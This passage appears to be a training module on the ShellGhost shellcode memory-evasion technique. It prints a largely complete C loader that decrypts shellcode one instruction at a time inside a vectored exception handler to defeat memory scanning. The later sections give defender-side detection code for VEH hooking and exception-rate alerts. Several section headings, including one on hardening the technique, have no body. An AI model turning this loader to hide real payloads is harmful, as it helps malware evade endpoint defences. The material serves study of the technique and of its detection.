Module 8: Full Chain, Performance & Detection

The complete execution flow, real-world performance implications, detection vectors, and how ShellGhost compares to other memory evasion techniques.

1. Complete Execution Flow

Here is the complete ShellGhost chain from program start to shellcode completion, combining every concept from the previous seven modules:

C// Complete ShellGhost implementation (simplified, shows architecture)
#include <windows.h>
#include <string.h>

// ============ Types ============
typedef struct _CRYPT_BYTES_QUOTA {
    DWORD rva;
    DWORD quota;
} CRYPT_BYTES_QUOTA;

typedef NTSTATUS (WINAPI *_SystemFunction032)(
    PUNICODE_STRING, PUNICODE_STRING);

// ============ Global State ============
static struct {
    PBYTE exec_base;
    SIZE_T exec_size;
    PBYTE enc_sc;          // Pre-encrypted shellcode (from mapping.py)
    SIZE_T sc_size;
    CRYPT_BYTES_QUOTA *map;
    DWORD num_instr;
    DWORD current_index;
    INT prev_index;
    BYTE key[16];
    USHORT key_len;
    _SystemFunction032 pSF032;
} G;

// ============ VEH Handler ============
LONG CALLBACK Handler(PEXCEPTION_POINTERS ep) {
    PEXCEPTION_RECORD r = ep->ExceptionRecord;
    PCONTEXT c = ep->ContextRecord;
    DWORD old;

    if (r->ExceptionCode == EXCEPTION_BREAKPOINT) {
        // Rip already adjusted by kernel (no -1 needed)
        PBYTE addr = (PBYTE)c->Rip;
        if (addr < G.exec_base ||
            addr >= G.exec_base + G.exec_size)
            return EXCEPTION_CONTINUE_SEARCH;

        // Toggle to RW for writing
        VirtualProtect(G.exec_base, G.exec_size,
                        PAGE_READWRITE, &old);

        // Re-encrypt previous instruction
        if (G.prev_index >= 0) {
            CRYPT_BYTES_QUOTA *prev = &G.map[G.prev_index];
            memset(G.exec_base + prev->rva, 0xCC, prev->quota);
        }

        // Decrypt current instruction via SystemFunction032
        CRYPT_BYTES_QUOTA *curr = &G.map[G.current_index];
        memcpy(G.exec_base + curr->rva,
               G.enc_sc + curr->rva, curr->quota);
        UNICODE_STRING data = {
            (USHORT)curr->quota, (USHORT)curr->quota,
            (PWSTR)(G.exec_base + curr->rva) };
        UNICODE_STRING key = {
            G.key_len, G.key_len, (PWSTR)G.key };
        G.pSF032(&data, &key);

        // Toggle to RX for execution
        VirtualProtect(G.exec_base, G.exec_size,
                        PAGE_EXECUTE_READ, &old);

        G.prev_index = G.current_index;
        G.current_index++;
        return EXCEPTION_CONTINUE_EXECUTION;
    }

    return EXCEPTION_CONTINUE_SEARCH;
}

// ============ Main ============
void ShellGhostRun(
    PBYTE enc_sc, SIZE_T sc_size,       // From mapping.py
    CRYPT_BYTES_QUOTA *map, DWORD n_instr,
    PBYTE key, USHORT key_len
) {
    // 1. Store references
    G.enc_sc = enc_sc;
    G.sc_size = sc_size;
    G.map = map;
    G.num_instr = n_instr;
    memcpy(G.key, key, key_len);
    G.key_len = key_len;
    G.prev_index = -1;
    G.current_index = 0;

    // 2. Resolve SystemFunction032
    G.pSF032 = (_SystemFunction032)GetProcAddress(
        LoadLibraryA("advapi32.dll"), "SystemFunction032");

    // 3. Allocate RW buffer filled with 0xCC
    G.exec_base = (PBYTE)VirtualAlloc(NULL, sc_size,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memset(G.exec_base, 0xCC, sc_size);
    G.exec_size = sc_size;

    // 4. Register VEH handler
    PVOID h = AddVectoredExceptionHandler(1, Handler);

    // 5. Create thread at end of .text segment
    LPVOID entry = ResolveEndofTextSegment();
    HANDLE hThread = CreateThread(NULL, 0,
        (LPTHREAD_START_ROUTINE)entry, NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);

    // 6. Cleanup
    RemoveVectoredExceptionHandler(h);
    VirtualFree(G.exec_base, 0, MEM_RELEASE);
}

2. Performance Impact Analysis

ShellGhost's per-instruction exception model introduces significant overhead compared to native execution. Understanding the performance cost is essential for assessing when this technique is practical.

Total overhead per shellcode instruction: approximately 7,000 to 20,000 CPU cycles. A typical instruction executes in 1-5 cycles natively. This means ShellGhost imposes a slowdown factor of roughly 1,500x to 20,000x. Note that the one-exception model (breakpoint only, no single-step) is approximately half the exception overhead of a two-exception approach.

3. Detection Vectors

While ShellGhost defeats memory signature scanning, it introduces several behavioral indicators that defenders can detect:

4. Detection Deep Dive: VEH Registration Monitoring

C// Defender perspective: detecting VEH handler registration
// Method 1: Hook AddVectoredExceptionHandler
typedef PVOID (WINAPI *pAddVEH)(ULONG, PVECTORED_EXCEPTION_HANDLER);
pAddVEH OriginalAddVEH;

PVOID WINAPI HookedAddVEH(ULONG First, PVECTORED_EXCEPTION_HANDLER Handler) {
    // Log the registration
    LogEvent("VEH handler registered: First=%d, Handler=%p", First, Handler);

    // Check if the handler address is in a suspicious region
    MEMORY_BASIC_INFORMATION mbi;
    VirtualQuery(Handler, &mbi, sizeof(mbi));
    if (mbi.Type == MEM_PRIVATE && mbi.State == MEM_COMMIT) {
        AlertEvent("VEH handler in private memory (potential shellcode)");
    }

    return OriginalAddVEH(First, Handler);
}

// Method 2: Walk the VEH handler list directly
// (requires knowledge of ntdll internal structures)
// The handler list is at ntdll!LdrpVectorHandlerList

5. Detection Deep Dive: Exception Rate Monitoring

C// Defender perspective: detecting excessive exception rates
// Using Windows Performance Counters or ETW

// Normal process: 0-10 exceptions per second
// ShellGhost process: 10,000-100,000+ exceptions per second

// ETW-based detection:
// Provider: Microsoft-Windows-Kernel-Audit-API-Calls
// Events: Exception dispatch events
// Threshold: Alert if > 1000 exceptions/second sustained

6. Comparison with Other Memory Evasion Techniques

7. Hardening ShellGhost

Several modifications can make ShellGhost more resistant to the detection vectors identified above:

8. Course Summary